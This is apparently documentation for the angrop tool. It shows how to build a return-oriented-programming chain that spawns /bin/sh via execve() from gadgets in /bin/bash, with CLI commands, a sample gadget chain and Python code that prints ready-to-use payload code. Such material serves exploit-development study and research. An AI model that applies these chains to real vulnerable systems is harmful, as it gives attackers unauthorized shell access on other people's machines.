Skip to main content

Overview

This example shows how to build a ROP chain that executes /bin/sh using the execve() system call. This is one of the most common goals in exploit development.

CLI Approach

The easiest way to generate an execve chain is using the command-line tool:
angrop-cli chain -t execve /bin/bash

CLI Output Example

code_base = 0x0
chain = b""
chain += p64(code_base + 0x36083)  # pop rax; pop rbx; pop rbp; ret 
chain += p64(code_base + 0x30016)  # add rsp, 8; ret 
chain += p64(code_base + 0x34873)
chain += p64(code_base + 0x0)
chain += p64(code_base + 0x9616d)  # mov edx, ebp; mov rsi, r12; mov rdi, rbx; call rax
chain += p64(code_base + 0xe501e)  # pop rsi; ret 0
chain += p64(code_base + 0x0)
chain += p64(code_base + 0x31470)  # execve@plt
chain += p64(0x0)
chain += p64(code_base + 0x10d5bf)
This chain:
  1. Sets up the necessary registers
  2. Prepares arguments for execve()
  3. Calls execve@plt with appropriate arguments

Python API Approach

1

Initialize angrop

import angr
import angrop
from pwnlib.elf import ELF

# Load binary with pwntools and angr
e = ELF("/bin/bash")
proj = angr.Project("/bin/bash", load_options={'main_opts':{'base_addr': 0}})

# Create ROP analysis
rop = proj.analyses.ROP(fast_mode=False, max_sym_mem_access=1, only_check_near_rets=False)
2

Find and optimize gadgets

from multiprocessing import cpu_count

# Find all gadgets
rop.find_gadgets(processes=cpu_count(), optimize=False)

# Optimize the gadget graph for better chains
rop.optimize(processes=cpu_count())
3

Build execve chain

There are two approaches depending on whether the binary has an execve function:Method 1: Using execve@plt (if available)
# Check if execve exists in PLT or symbols
execve_addr = None
if 'execve' in e.plt:
    execve_addr = e.plt['execve']
elif 'execve' in e.symbols:
    execve_addr = e.symbols['execve']

if execve_addr:
    # Look for "/bin/sh" string in binary
    sh = next(e.search(b'/bin/sh\x00'), None)
    
    if sh:
        # Use existing "/bin/sh" string
        chain = rop.func_call("execve", [sh, 0, 0], needs_return=False)
    else:
        # Write "/bin/sh" to memory first
        sh = rop.chain_builder._reg_setter._get_ptr_to_writable(proj.arch.bytes)
        chain = rop.write_to_mem(sh, b'/bin/sh\x00') + \
                rop.func_call("execve", [sh, 0, 0], needs_return=False)
Method 2: Using syscall (if no execve function)
# Use the built-in execve() chain builder
chain = rop.execve()
4

Generate payload

# Print ready-to-use exploit code
chain.print_payload_code()

Complete Example

Simple execve() Chain

import angr
import angrop

# Load the binary
proj = angr.Project("/bin/bash")
rop = proj.analyses.ROP()

# Find gadgets
rop.find_gadgets()

# Generate execve chain automatically
chain = rop.execve()

# Print the payload
chain.print_payload_code()

Advanced execve() Chain with Memory Write

import angr
import angrop
from pwnlib.elf import ELF
from multiprocessing import cpu_count

# Load binary
e = ELF("/bin/bash")
proj = angr.Project("/bin/bash", load_options={'main_opts':{'base_addr': 0}})
rop = proj.analyses.ROP(fast_mode=False, max_sym_mem_access=1, only_check_near_rets=False)

# Find and optimize gadgets
rop.find_gadgets(processes=cpu_count(), optimize=False)
rop.optimize(processes=cpu_count())

# Find execve function
execve_addr = None
if 'execve' in e.plt:
    execve_addr = e.plt['execve']
elif 'execve' in e.symbols:
    execve_addr = e.symbols['execve']

if execve_addr:
    # Check for "/bin/sh" string
    sh = next(e.search(b'/bin/sh\x00'), None)
    
    if sh is None:
        # Write "/bin/sh" to writable memory
        sh = rop.chain_builder._reg_setter._get_ptr_to_writable(proj.arch.bytes)
        chain = rop.write_to_mem(sh, b'/bin/sh\x00') + \
                rop.func_call("execve", [sh, 0, 0], needs_return=False)
    else:
        # Use existing string
        chain = rop.func_call("execve", [sh, 0, 0], needs_return=False)
else:
    # Use syscall-based approach
    chain = rop.execve()

# Print the payload
chain.print_payload_code()

How It Works

An execve("/bin/sh", NULL, NULL) chain needs to:
  1. Place “/bin/sh” in memory - Either find it in the binary or write it to a writable location
  2. Set up arguments - Set registers/stack for:
    • arg1: Pointer to “/bin/sh”
    • arg2: NULL (argv)
    • arg3: NULL (envp)
  3. Call execve - Either through PLT, direct symbol, or syscall

CLI Options

The CLI supports additional options:
# Fast mode (skip optimization)
angrop-cli chain -t execve -f /bin/bash

# System call instead of execve
angrop-cli chain -t system /bin/bash

Understanding the Output

The generated chain uses code_base + offset format:
  • code_base = 0x0: Assumes PIE base is 0 (adjust in your exploit)
  • Each p64() is either a gadget address or data
  • Comments show what each gadget does
In your exploit, you’ll need to adjust code_base if the binary uses PIE/ASLR.

Build docs developers (and LLMs) love